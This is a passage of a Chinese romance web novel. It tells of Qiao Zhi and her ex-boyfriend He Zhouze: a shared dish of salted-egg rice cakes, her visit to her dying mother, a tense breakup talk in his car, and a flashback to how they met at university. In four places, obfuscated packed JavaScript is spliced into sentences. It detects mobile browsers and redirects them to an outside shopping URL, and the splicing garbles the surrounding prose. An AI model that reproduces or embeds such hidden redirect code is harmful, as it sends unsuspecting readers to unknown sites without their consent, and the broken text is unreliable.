软糯的年糕裹着咸蛋黄细密的颗粒,唇齿间都是香味。这不是一道罕见的菜,只是这其中一并炒入的少量酸菜让整盘年糕的口感都不同寻常起来。 江临地处南方,他们常见的酸菜多用青菜研制,最后颜色为深色。但这道菜中使用的却是用白菜腌制的浅色酸菜,和东北地区常吃的类似,可口味又是全然不同的。 何舟泽看着乔之诧异的神情,笑道:“这家店的老板是我们以前大食堂二楼的厨师。” 乔之这才回味过来。 她读大学时常去大食堂二楼吃这道咸蛋黄炒年糕,后来她读完博士又回到江大当老师,二楼还在卖这道菜,但她总觉得不是从前的滋味。 乔之说不上哪里不同,只记得过去吃到的口味是极为微妙的。咸香、软糯、酸脆,每一个部分都恰到好处,就像刚才那一口。 . 何舟泽记得他第一次踏入这家店时,也是一个雨天。 说来奇怪,他总是和雨天有缘。 那时他和经纪公司之间爆发了无法调和的矛盾,所有谈好的培养、资源统统都化为了乌有。 他只不过是娱乐圈初露头角的新人,上过几档不温不火的节目而已,毫无根基,被公司冷处理是再容易不过的事情。 “再给你两个月时间好好想清楚。如果你还一意孤行,公司之后不会再管你了。” 雨天的海洋馆,门庭寥落。 何舟泽听见电话那头的经纪人咬牙切齿地警告,他抬头看乌云密布的天空,觉得像极了自己内心的写照。 去年刚签公司时,他以为他终于能走上梦寐以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那你为什么不找乔之说清楚?趁现在人家还没出国。别跟我说你被她删了,你又不是不知道她家的地址。” 他沉默了很久,连自己也没明白心里何来犹豫和胆怯。 回过神来,老板已经端着刚炒好的咸蛋黄炒年糕上桌。 何舟泽还没来得及多加品味,就被什么击中了。 他微微震惊地问:“师傅,你以前是在江大食堂上班吗?” 老板没想到这也能被认出来,也有些惊讶:“你是江大的学生?” 何舟泽点点头,说:“我以前经常和……”和女朋友来买你炒的年糕。 无数片段闪过,每一个都和乔之有关。 他根本就放不下。 明天,他就去找她。 何舟泽想。 . “原来那个窗口的师傅现在自己开店了!” 何舟泽抿了口水,道:“我们毕业后不久,朱师傅就自立门户了。说来很巧,这家店是我无意中发现的。起初只是觉得熟悉,后来吃过这盘年糕才知道原来这家店是朱师傅开的。” 乔之又尝了一口:“我还以为再也吃不到了。” “原来店面只有现在的三分之一,好在现在一切都很顺利。”何舟泽想起他初来时的那个雨天。 只不过他没说的是,这家店地理位置一般,朱师傅头两年很不容易。酒香也怕巷子深,何舟泽默默提供了很多帮助,这家店才慢慢运作起来。 “何舟泽,”乔之顿了顿,“谢谢你。” 她知道何舟泽一定不是随便约在了这里,尽管她一再逃避谈及从前,但还是感谢他让她时隔多年又尝到旧时所好。 何舟泽愣了片刻,随即又笑起来:“乔乔,你看,有些东西从来没有消失过,在你看不见的地方都在慢慢变好。” 乔之没再说话。 因为她知道,有些东西可以再度回味,有些却不能。 19. 第十九章 这顿饭吃得还算愉快,除了一道咸蛋黄炒年糕的小小插曲,何舟泽没再提其他。 当初分手时,他们之间留下了太多模糊不清的问题无从解释。他补不齐中间错失的六年,如今只想一点一点追上。 两人吃完走出包厢,餐厅大堂里正好放着何舟泽的歌。 乔之没听过这首,但她熟悉他的声线,几乎毫不怀疑这是他早期的作品。 “真是……在哪儿都能听到你的歌。”乔之笑着说了句。 他们吃饭的包厢并不和大堂连通,但还是有被人撞见的风险。 何舟泽压低了帽檐,没说话,只是有些得意地轻哼了一声。 好在车停得不远,等上了车,何舟泽才摘下帽子开口道:“这一次的舞台录制有开放观众名额,你想来听吗?” 乔之想到上次也是在车里,她说要给他捧场,于是开口问了句:“什么时候?” “下周一晚上在江临电视台,七点开始录制。”他见乔之没直接拒绝,语气忍不住微微上扬,“如果来的话,到时候我给你送张票。” 乔之想了想自己的日程表,周一晚上没有旁的安排,便没回绝:“如果那天没别的安排,我就来看看。” 何舟泽听见她的话,没着急开车,马上在手机上给方鸣发了条消息,让他安排个前排的观众席。 他没关屏幕,对着乔之摇了摇自己的手机道:“安排好了,你不能爽约哦。” 乔之笑着应了声,但心里隐隐有些怪异的情绪涌上来。 她明明就很害怕与何舟泽的关系会再度越线,可却又始终无法拒绝他的靠近。 这段时间,何舟泽总是有意无意地出现在她的身边,有些时候的巧合让她避无可避,连天气变化都好像是为了他们相见。 乔之发现自己越来越无法控制自己的心情。 - 乔之需要把下午拿到的资料送到学校,因此何舟泽开车送她回了江大。 何舟泽一路送她到了海洋楼,末了又坚持帮忙提了个文件袋上楼。 周五晚上海洋楼没什么人,三楼的走廊只在头尾留了两盏灯,他们俩的影子被拉得很长。 乔之推开办公室的门,在墙边摸索了半刻,打开了灯。 乍然亮起的灯光有些晃眼,何舟泽微眯起眼,看见里面的陈设和他上次来时一模一样。 “这些资料给我吧。”乔之从他手上接过袋子,放在靠近门口的矮柜上。 上次他就是把帽子落在了这儿。 何舟泽晚上还有事要忙,因此也没多停留。他顺手扶了扶柜子边高高叠起的书本,说:“别工作太晚。” 顿了顿,他又道:“我们周一见。” 乔之“嗯”了一声,送他出门。 等她再次走回三楼时,在走廊里碰见了系主任。 乔之打了个招呼:“吴主任。” 吴主任端着个保温杯,杯口冒着几缕白色水汽。 他一边拧上杯盖,一边说道:“刚刚送你来的是小何吧?” 乔之闻言,有些惊讶。 何舟泽的MV要找学术指导是通过系主任介绍的,但当时对接的人一直都是方鸣。系主任只说有个有名的歌手想找学院帮忙,连乔之都是等见面了才知道那是何舟泽。 可是听系主任这话里的称呼,他们似乎早就认识。 她犹豫地问道:“……您认识他?” “他以前不是常来我们实验室找你吗?我碰到过好几次。”吴裕笑说。 说的是他们读本科时,乔之在吴裕的课题组做科研,有时误了饭点,何舟泽会来实验室找她。 但乔之不知道原来吴主任也认识他。 “所以……”她的心沉了沉,“是他让您介绍我去当学术指导的吗?” 吴主任有些疑惑道:“是啊。你不知道吗?” 乔之没注意到自己的声音已经降至冰点:“我以为只是因为我的研究方向刚好合适。” 她以为重逢是巧合,却不想连第一步都是何舟泽的精心谋划。 吴主任一脸不解:“凭你俩的关系,我以为他事先问过你了,来我这儿只是为了走个官方流程。” 他们还能有什么关系? 乔之低下了眼帘,垂在身侧的双手不住颤抖着。 吴主任不知道两人分手多年,当时见乔之很快就答应了,还以为他们早已通过气。 乔之极力克制住自己的表情,扯出个微笑:“他没跟我说过。” “小事,你们一起工作肯定顺利。” 吴主任没看出她的不对劲,抬手指了指楼梯口的方向道:“我还有点事,先走了。你俩好好加油,等片子出来给我发一份,说不定明年能吸引不少学生报考呢。” 语气里充满了对未来的期待。 乔之回到办公室,看到柜子上放着的文件袋——是刚刚何舟泽帮她提上来的那一份。 她突然自嘲地一笑。 她想起在风鸣岛上,祝声曾经感慨过她和何舟泽时隔六年还能重逢的缘分。连她有时都忍不住会想是不是天意如此,可现在想来竟觉得有些嘲讽。 她如何不知道这是何舟泽惯用的把戏。 从一开始,他几乎就将自己的心意表露无遗。只是他们俩谁都没捅破那层纸,她不想,他不敢。 今晚之前,乔之竟然还天真地为自己修补陷阱,企图相信一个虚无缥缈的童话。 何舟泽其实没做错什么,可是她不想迷失在别人给的盛大又荒芜的爱意与关心里。 - 周末两天,何舟泽断断续续地发来一些消息,依旧是一些稀松平常的琐事。 乔之没再回他。 周日上午,乔之接到母亲打来的电话,电话那头的声音难得听上去有些精气神。 距离上次去医院看她,又过去了一个多星期。 乔之知道自己不是一个合格的女儿。眼见乔希日渐流失的生命力,她却仍然没有办法扮演好贴心孝顺的女儿形象。 “今天太阳很好。乔乔,你来看看我吧。”母亲如此请求道。 乔之说不出“不”字,于是简单收拾了下便往医院赶。 乔希的病情其实已经很严重,几乎到了无法挽回的地步。但是她一向是个极具活力的人,即便每天清醒着有兴致的时候不多,也依旧和病房里其他病人与家属打好了关系。 这一点上,乔之向来比不上她。 她走到病房门口时,还没见到人,就已经听见了乔希的笑声。 “是呀,我女儿待会儿就来了。”她的声音里闪烁着明晃晃的喜悦。 话音刚落,乔之就走进了病房。 乔希靠在病床上,看见她走进来,开心地挥了挥手,然后对隔壁床铺的奶奶道:“看吧,这不是来了吗?” 乔之走过去帮她掖了掖被子,语气有些僵硬道:“今天的药吃了吗?” 对方笑眯眯道:“你姜叔叔天天盯着呢,我哪敢不吃。” 乔希年轻时是个大美人,但此刻她已经瘦得不成人形。头发已经全掉光了,瘦削的脸庞几乎是皮包骨,眼眶深陷,唇色苍白。 不过,她的眼睛还闪着光,这是她全身上下最具生命力的地方。 乔之在病床边坐下,安静听母亲和隔壁病床的奶奶聊天,期间被提到就偶尔回几句。 过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445159|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了十来分钟,刚刚离开小半会儿的继父回到了病房,见乔希一刻不停地找人聊天,有些无奈道:“少说两句,别累着了。” 乔希不满道:“天天在这儿躺着,说两句解解闷还不行吗?” 说到这,乔希突然想起什么,转头对乔之说:“对了,你和小何是和好了吗?” 乔之一愣,不明白乔希怎么会突然提到何舟泽。 乔希继续叨叨着:“前段时间小何托人想给我转VIP病房,我拒绝了。我就喜欢人多一点的地方。” “……是吗?” 何舟泽从来没跟她说过。 姜永望收了收病床边的垃圾,也开口道:“他还帮忙联系了一位京市的专家,所以你妈妈这段时间情况好多了。真是得好好感谢他。” 一旁的乔希笑吟吟问道:“你俩什么时候和好的?” “只是朋友。”乔之快速否认。 乔希有些遗憾道:“是吗?我还挺喜欢小何的,内外兼修,人又体贴。” 换做从前,乔之大概已经忍不住呛声,但考虑到乔希的身体,她憋着没说话。 乔希倒是看出了她的神情不对,也沉默了片刻:“乔乔,妈妈只是希望你以后可以不是一个人。” 她大概陪不了她多久了。 乔之蓦然有些鼻酸,哑着嗓子说:“别说这个了,你会……”好起来的。 但话到一半,却怎么也没法自欺欺人了。 乔希不会好了,所有人都知道。 她们母女的关系算不上很好,她们这样几乎没有交集的淡漠关系甚至比三天两头的吵架还要糟糕。 但乔之还是有些难过。 乔希拍了拍她的手,语气故作轻松:“医生说我最近可以下楼转转,你带我去晒晒太阳吧。” 住院部楼下有一片大草坪,乔之推着乔希到一处树荫下。 秋日的阳光并不灼人,懒洋洋地爬到身上,带着一层温暖的光晕。 “真好呀,能见到太阳真是太好了。”乔希伸出手,试图抓住指缝间的一点点阳光。 乔之蹲下身理了理她腿上盖着的薄毯,轻声道:“你还能见到很多次太阳的。” 乔希笑起来,道:“是啊,接下来一周都是晴天呢。” 明明饱受病痛,却比谁都乐观。 “我想在你们学校图书馆借本书,下次你来的时候带给我的吧。” “好。” “我想要一顶新帽子,最好是粉色的。” “下次我给你买。” …… 乔之在医院待了一整个下午,乔希的兴致很好,直到傍晚时分才显露疲态。 “乔乔,谢谢你今天来陪我。”乔希拍了拍乔之的手,“天色晚了,你回去吧。晚上你姜叔会照顾我。” 姜永望出现在走廊那边,正往这里走过来。 他穿着老旧的夹克衫,头发微微凌乱,看起来很是憔悴。 “妈妈,”乔之突然开口,“你过得幸福吗?” 乔希没料到她会突然问这话,微愣了片刻,旋即笑道:“当然了。” 乔之问:“即使永远困在一个地方,也是这样吗?” 乔希拉过她的手,说:“乔乔,人生有遗憾也不可怕,只要勇敢追求过。” 姜永望听见了半句,但没开口说话,只是默默接过轮椅。 他不是一个善谈的人,终年操劳让他的脸上只写满了木讷沉闷,和活泼的乔希天差地别。 乔希转头对乔之眨眨眼说道:“但你和小何,是可以不遗憾的。” 乔之没再说什么,只挥手和她道别,心里的天平已经开始向某一边倾倒。 20. 第二十章 医院大门正对着这个城区最繁忙的道路之一,这个点车来车往,川流不息。 天色已经逐渐暗下来,天空中最后一点夕阳的余晖也慢慢消散了。路灯逐渐亮起,交通灯和车灯交织闪烁着,照亮了整条街。 出医院大门往边上走两步就能拐进一个全是小餐馆和礼品店的小巷。空气中飘着一阵阵食物的香味,为这个每天上演着悲剧、写满人间百态的地方平添了一丝家常意味。 乔之正好有些饿了,她抬脚迈进了一家面馆,随便点了碗排骨面。 店面不大,只有左右两列的桌椅。 店门口附近的方桌人上挤着三个高谈阔论的男人。乔之寻了个角落的位置,却不免还是将他们几个的聊天内容收入耳中。 “才哥,上次你说要追的那妞儿怎么样了?” 被唤作“才哥”的男人摆摆手道:“别提了,一点难度都没有。刷了几天存在感,就上赶着投怀送抱,还说要辞职和我回老家呢。” “哟,可以呀。”席间有人揶揄着打趣。 “她还给你写小作文了不是?” 几人笑着要看所谓的小作文。 才哥嗤笑了声,将手机递了出去:“女人嘛,给点好处,多在她身边转转,她就以为你是她的全世界了。根本用不着花费多少真心。” 乔之听着这些人的对话,心中已是厌恶至极。她也是个女人,她进来时这些人明明看到了,此时却还是毫不掩饰地说这些歧视性的论调。 大概在这些人心里,那些话就像这世界的真理一样值得坚信不疑。 另外两个人接过手机,开始浮夸地念着屏幕上的内容,语气里全是调笑。 乔之吞了几口面,味同嚼蜡。 她没法再听下去,听一个陌生的女孩被这样挤兑。 这时,她的手机也亮了起来。 一条微信消息闯入眼帘:【节目的门票拿到了,今晚方便吗?我让小王给你送过去。】 何舟泽这一次舞台的曲目是上回在风鸣岛唱过的《暴雨来临的时刻》。 乔之想起那些暗藏他们俩行踪的歌词,想起那晚何舟泽在灯光下对她投来的眼神。 每个细节都仿佛编排过,她的生活何尝不是被当作了一个大型舞台。 乔之觉得,她不能再这样下去了。 至少在她动摇以前,必须结束一切。 乔之重重地放下筷子,抓起手机往门外走。 还在嬉笑的三个男人被她吓了一跳,嘟囔着:“神经病吧……” 乔之走回主路,找到公交站坐下,打开手机拨了个电话。 没过几秒就接通了。 对方的声音里满是惊讶:“你怎么打电话过来了?” 见乔之沉默着没说话,何舟泽又道:“我让小王把票送到哪里合适?学校还是你家?” 乔之抬头看见不远处人行道那段的交通灯正在倒计时。绿色的动态小人在一切归零后恢复静止,红色的灯光取而代之。 她下定决心后开口:“何舟泽,我想见你。” 电话那头停顿了好几秒,对方的迟疑里还夹带着不可置信:“……你说什么?” 乔之闭上了眼,一字一句地说道:“何舟泽,我现在就想见到你。” “我……你在哪?”何舟泽即刻起身,抓上车钥匙就往外走。 他刚彩排完,本来准备过会儿再额外磨一次舞台,期待明天能在乔之面前完美表现。 可是当他听见她说想见他时,他便觉得这些都不重要了。 乔之报了地址,静静地坐在公交站的长椅上等何舟泽来。 乔之知道他晚上在电视台彩排节目,开过来至少要半小时。 马上她就能知道,究竟是她自作多情,还是他真的念念不忘。 那天在风鸣岛上,祝声提议试探一番。那时她藏有私心,不愿意太早戳破。可是现在心里那份蠢蠢欲动的思绪已经快要克制不住,她害怕自己终有一日不再清醒。 只是乔之的感情世界向来简单,她哪懂什么试探。 二十八分钟。 何舟泽的车出现在视野里。 乔之看见他缓缓摇下车窗,眼睛里雀跃着熠熠星光。 他叫她:“乔乔。” ——但是窥探何舟泽的内心对她来说再简单不过。只要一通电话、一趟远短于平日的车程,足以证明一切。 他总是这样,毫不掩饰地向她释放他的感情。 可是,她却承受不起了。 上车后,何舟泽几次用余光偷偷看乔之,不过一直没好意思问她刚刚说的那两句话是什么意思。 突如其来的惊喜让他丢失了平素的敏锐度,全然没注意到乔之的神情里带着点怪异。 “想吃宵夜吗?还是找个地方逛逛?” 乔之没说话,何舟泽依旧兴致不减道:“我知道有个小公园,景色不错,晚上也没什么人。要不我们去那儿吧?” 乔之正试图理清思绪,于是也只是低低地“嗯”了一声。 何舟泽驱车就往另一个方向走。 他说的那个小公园倒是离医院不太远,在一条河边。 何舟泽找了个位置停好车,转身想叫乔之下车,却发现对方早已转过来看他。 他奇怪地问:“……怎么了?” 下一秒,乔之开了口:“你刚刚是从电视台过来的吗?” “对,刚彩排完。” 乔之道:“从电视台到医院,地图推荐路线最快时间是三十五分钟,你只花了二十八分钟。” 何舟泽愣了下,旋即笑道:“运气好,一路上都是绿灯。”而且他一直踩着限速开。 他解开安全带,身子稍稍往乔之的方向侧了侧。 他说:“可能老天爷也知道我想早点见到你。” 乔之只是看着他,却没说话。 这会儿何舟泽终于注意到她的脸上没有一丝表情,他奇怪地又一次问道:“怎么了?放心,我没超速,全程安全驾驶……” 话音未落,便被乔之打断了。 她说:“何舟泽,你是不是喜欢我?” 何舟泽顿了顿:“……什么?” “前天吴主任和我说,是你拜托他找我做学术指导。今天我在医院陪我妈,她说你私下替她找了专家。还有你在岛上送我的那束花、临走前唱的那首歌……”乔之一件件细数着,停了片刻才道,“我没有办法再相信巧合。何舟泽,你喜欢我。” 这一次,她用的全都是陈述句。 事到如今,她已经没办法再欺骗自己了。 何舟泽怔住了,他没想到乔之会如此直接地点破。 “那天在姚朔家,阿姨夸我们般配。几乎所有人都跟我说,你是一个多么好的人。被你喜欢,我应该感到荣幸吗?” “怎么会?喜欢你……是我的荣幸。” 乔之抬起头,目光直直撞入何舟泽的眼睛。 她努力使自己的声音听起来冷静平稳:“可是,我从来就没有破镜重圆的打算。” “何舟泽,我不喜欢你为我付出什么,也不喜欢身边所有人都劝我说,我应该弥补遗憾。” 何舟泽终于明白乔之今晚找他的目的。 他的双唇颤抖,说不出一句话。 终于,她下了宣判:“我从来都不遗憾。” 今晚在那家小面馆里听到的话,其实也没全错。 乔之的确见过,有的女孩为了所谓的爱情甘愿飞蛾扑火,明明可以走向更广阔的世界,最后却只能困在某某的身边。 如果说遗憾,不能拥有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445160|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的人生,才会是她最大的遗憾。 乔之继续说道:“我更不希望自己成为你步步为营的猎物。这只让我觉得可怕。” 话里行间不再考虑何舟泽的感受,她将每个字都说得冰冷僵硬。或许这样,他们俩就能真的彻底结束了。 六年前的场景再度出现。车载音乐正悠悠地播放着《Yesterday Once More》,低沉的女声轻轻哼唱着。 乔之的话语如此伤人,一如当年。果真是昨日重现。 何舟泽盯着她,却没能从她的脸上找出一丝破绽。 他气笑了:“乔之,你真行。我真心对你,你却觉得是处心积虑。” 他紧咬着牙,眼眶有些发红。 乔之从来没有怀疑过何舟泽的真心,可正是因此,她才感到害怕。 她转过头去,不敢再看他。她怕自己控制不住情绪。 何舟泽卸下全身力气,靠在车座椅上,心一阵一阵地抽痛。 他嘲弄道:“是,我承认我对你念念不忘,这六年来我没有一天释怀。” 几千个日夜,他没有一天不想她,他无数次后悔当初就那样放手。后来得知她要回国,他便千方百计地打听消息。即便只是在微信里说上一句话,他都能高兴好几天。 何舟泽想,如果乔之愿意,他会马上回到她身边;如果她不愿意,他就默默守候。 他辩解:“但是我找你做学术指导,除了想再见你,更因为你是研究海豚的专家。别人想撮合我们,不是我的授意,你不喜欢的话大可以明说。我只是想对你好,但并不是施压。你怎么可以……” 怎么可以曲解我的本意。 “我不需要你对我好,我不是你养的宠物。”乔之压低了声音,尾音有些颤抖。 何舟泽以为他已经努力地不影响到她的生活,可他没想到,在她眼里,他所做的一切都可以是另一种解读。 他想,她怎么能这么狠心。 六年来积压的情绪在这一刻几乎快要决堤,何舟泽的眼圈都染上了一层红晕。 他将乔之转过来,想看清她的表情,想看看她说这些的时候是否真心。 “乔乔,为什么你总是急着给我定罪?我很抱歉没有事先告诉你,可是我从来没有要把你当作……” 话到这,他却有些说不下去了。因为他发现,乔之的眼眶早已噙满泪水。从不轻易展露脆弱的她,竟然因为他想当然的对她好,泪流满面。 乔之故作镇定,却止不住哭腔:“我只是在陈述事实。” 何舟泽的语气不禁柔软下来:“……你哭了。” 他伸手想替她擦去泪水,可她却偏头躲开了,同时也挣开了他。 乔之抹了一把眼泪,却完全止不住泪水簌簌。 她说:“何舟泽,我努力了这么久,不是为了成为某某的另一半。你永远都不可能理解……” 乔之想起自己二十多年的短暂人生中,曾见到过的那么多挣扎、不公,连她都差点丢掉自己的名字。可是何舟泽这样一路顺风顺水的天之骄子,他怎么能够明白在低处的人要有多努力才能证明自己。 这就是她没有办法接受他的原因,也是六年前分手的真正理由。 何舟泽顿住了,隐约好像明白了乔之的意思,但却再也说不出一句安慰的话。 他清楚地意识到,她的确是不想再与他有关了。 “……既然如此,从今往后我不会再烦你了。” 柔和的月光流进车里,照在了乔之身上。路旁的行道树正好遮了半边,何舟泽坐在被切割开的阴影处,看见他们之间有千沟万壑。 他紧了紧拳头,终究还是长叹了一口气。 “但是这么晚了……乔乔,最后再让我送你回一次家吧。”他哀声恳求道。 21. 第二十一章·大学line 乔之已经想不起来最后是怎么回的家。返程途中两个人各自怀着复杂心绪,却都强忍着没说话。 她只记得自己似乎并没有想象中的如释重负。心被撕扯着,让她喘不过气。 那天晚上,她做了一个很长的梦。 她深深坠入梦境,隐约间好像又听见了爆裂的雨声。 . “刚刚忘记介绍自己了,我叫何舟泽。独木舟的舟,光泽的泽。你呢?”男生无比自然地从乔之手中接过伞柄。 他的手骨节分明,白皙的皮肤被黑色伞柄衬得发光。 何舟泽的个子很高,但细心地将伞压到了最低,尽可能照顾到乔之。 “乔之。”乔之正僵硬地挪动着步子。 伞下的空间毕竟有限,但两人素不相识,她只能时刻小心地保持一个妥当的距离。好在何舟泽很懂礼数,两人之间隔了一拳的距离,没让乔之太尴尬。 “我记住了。”何舟泽郑重道。 乔之心想,记不住也没关系,反正以后也不会有交集。 雨噼里啪啦得下着,目光所及皆是各色的雨伞,在雨幕中消失又重现。 两人不约而同地迈开步子,一起跨过了脚下那个不小的水洼。 何舟泽又开口道:“今天还好碰到了你。我正准备去面试音乐社,你有什么感兴趣的社团吗?” 语气熟稔地好像他们是多年旧友。 “还没想好。”乔之的眉眼微垂,专注着在脚边飞溅起的雨水。 这两天她陆陆续续收到了不少社团组织的宣传海报,她的几位室友兴奋地比对着各家社团的情况,但她却对大多活动没什么兴趣。 何舟泽真诚建议道:“要不考虑考虑我们音乐社?” 听起来仿佛他已经是其中一员。 乔之委婉道:“……你不是正要去面试?” 何舟泽一脸自信道:“他们肯定不会错过我的!” 男生的语调飞扬,带着无所畏惧的自信,让人也忍不住相信他的确有这样的能力。 乔之忍不住扬了扬嘴角:“那我就提前恭喜你了。” 教学楼离小剧场不算很远,绕过图书馆,再过一道桥便到了。 何舟泽将伞递还给乔之,一个大步迈进了屋檐下。 他转过身朝乔之挥着手喊道:“今天太谢谢你了!有机会我请你喝奶茶!” 乔之这才发现他的左半边手臂挂着许多道雨滴,短袖也些微被打湿了。 她站在伞下,微微颔首:“没关系。祝你顺利。” 那天的大暴雨仿佛只是新学期的一个小插曲,而后几天都是阳光明媚的大晴天。 江临大学学风自由,学生自主选课的权利。不过像微积分这样基础必修课,教务系统通常会提前安排好,以免有人选不上课。 乔之和三位室友不在一个课程班,虽然可以改选,但她这个课程班的授课老师风评不错,索性便不换了。她的室友们倒是想换到高分老师,可惜名额已满。 乔之在教学楼门口与室友们分别,独自走进自己的教室,随意找了个位置坐下。 她打开课本。这是本学期第二节课,今天大概率会继续讲几类不同的求极限方法。 “好巧!我们又见面了。”有人向她靠近。 乔之抬头,看见何舟泽正单肩背着书包准备坐过来。 他今天穿着一件白色的短袖,微卷的头发有几根不安分地翘着,倒是让他那乍一眼看不够平易近人的气质缓和了下来。 乔之收了收自己的东西,为他挪出了更多空间。 何舟泽看起来心情很好,他告诉乔之自己已经通过了音乐社的面试,课前还顺道加了她的微信。 何舟泽似乎也和自己的同学分在了不同的课程班,于是乔之常常会在课前收到一条看上去十万火急的消息:【麻烦帮我占个座!十分感谢!!】 周三的微积分是早八课,乔之向来起床早,习惯早早到教室。顺手占个座不是什么麻烦事,因此她也没有拒绝。再者,何舟泽的确是个很有趣的人,即便偶尔说几句话,也会染上他带来的好心情。 一来二去,两人也渐渐熟悉了起来。 某天下课,何舟泽在座位上坐了半晌没动,犹豫许久才开口道:“你待会儿有事吗?” 这一天乔之正好没有晚课,她摇摇头问:“没,怎么了?” 男生的脸上难得出现纠结的神色,他问:“我还没谢谢你总帮我占座,还有开学那次借我伞。今晚我请你吃顿饭吧!银泰正好开了一家新餐厅,我朋友说还不错。” 乔之收着自己的书包,头也没抬道:“没事,不用破费了。” 她拿起书包准备起身。 何舟泽按住了她的书包,又是那副让人拒绝不了的模样:“不破费。我也不想一直欠人情。” 乔之见他似乎也没别的意思,想了想便也答应了。 两人并肩走下楼,一路上何舟泽碰见不少熟人,乔之眼见着他和谁都能说上两句,在形形色色的人群里游刃有余。 照何舟泽这样的性格,其实他早该在他们的微积分班里混熟了,用不着她帮忙占座。 他们一起走进了教学楼架空层的车库里,车库中密密麻麻地停放着各式各样的自行车和电瓶车,开锁声、启动声在燥热的空气里揉作一团。进出车库的路上人来人往。 何舟泽这才想起来问乔之:“你骑车了吗?” 乔之摇摇头:“没。” 她的自行车前些天碰上钉子漏气了,还没来得及补胎。 何舟泽摇了摇手里的车钥匙,对着不远处按了一下,那边便响起了“滴滴”两声开锁声。 他道:“那我骑车带你吧。” 乔之没坐过男生的后座,还在犹豫着,不想何舟泽已径直朝自己的电瓶车走去。 他取下车上挂着的头盔,拉了拉固定长度的扣子。松紧带卡在下巴处,露出了他轮廓清晰的下颌线。 他转头冲乔之笑:“来吧,我正好还有一个头盔。” 笑容晃眼,乔之回过神时已坐在了他的后座。 乔之一时之间不知该将手放在哪里,她看室友坐在男朋友的后座时,通常会环抱住男生。但她和何舟泽又不是情侣,她当然不可能做出这么亲密的动作。 想了想,她抓住后座边缘,和何舟泽保持着至少一掌的距离。 可能是感觉到了她的僵硬,何舟泽当她是紧张,安慰道:“放心,我车技很稳。” 说完便碰上了一辆自行车横穿马路,他一个急停,堪堪与对方擦边。 乔之没来得及反应,直直地撞上了何舟泽的后背。 “你没事吧?”何舟泽微微侧了侧头,关心道。 乔之腾出一只手揉了揉自己的鼻子,闷声道:“没事。” 说罢,她才发现自己刚刚在情急之中抓住了他的衣角。 等坐稳后,她又偷偷松开了。 何舟泽感觉到了乔之的无所适从,停了片刻,小心提议道:“要不……你抓着我衣服?学校里开车没什么秩序,经常有人乱窜。” 他给了她一个合理的借口,让一切显得不那么暧昧。 乔之顿了顿,轻声应道:“好。” 她的手指轻轻攥紧了男生的衣角。 何舟泽选的餐厅在学校附近的商场,开出校门后不久便到了。 这是乔之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445161|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一次和男生单独吃饭,却没有感到丝毫的不自在。 有些人似乎天生就具备讨人喜欢的能力,三言两语、一举一动皆恰到好处,轻轻松松便能可以将气氛调动起来。何舟泽就是这其中的佼佼者。 回学校的路上出了一点小意外。 何舟泽看着电量表叹气,转头不好意思地说:“……好像快没电了,不确定能不能开回去。” 乔之看见闪着红灯的电量,想说要不他自己骑回去,减轻重量或许能开远一些。 转眼间,何舟泽就已将头盔摘下来,他轻轻甩了甩头发,发丝在余晖里闪着光。 他提议道:“要不我们一起走回去吧,正好消消食。” 最后是何舟泽推着车,两人沿着来时的路走回学校。 何舟泽问:“你平时都是一个人吃饭吗?” 乔之站在他的右侧,就如同下雨那天。 她回答道:“偶尔和室友一起……如果上同一节课的话。” 何舟泽微微歪头想了想,这节课下课后他见乔之都是一个人走,他又问:“她们不上微积分吗?” 乔之摇摇头:“她们在另一个班,我一个人被分到了这边。” “那……”何舟泽迟疑了半刻道,“以后有机会我们一起吃吧。我也是一个人上这节课。” 乔之一怔,还没来得及说话,又听见男生飞快地补充道:“正好还可以请教你作业题!” 何舟泽的心突然开始紧张地砰砰跳,刚刚他说的话来不及经过大脑,几乎是脱口而出。 乔之没想好怎么回答他,突然听见边上的草丛里传来“喵喵”的猫叫声。 她的注意力一下子就被吸引了过去。 一只瘦弱的橘猫躲在草丛里,琥珀色的眼睛闪着灵动的光芒。它冲着乔之可怜兮兮地叫唤着。 乔之蹲下身,从书包里翻出一根猫条,小心地凑了过去。 橘猫试探地往外伸了伸爪子,见乔之没有恶意,便放心地走近了大快朵颐。 乔之伸手温柔地摸着橘猫的头,轻声道:“慢慢吃,还有哦。” 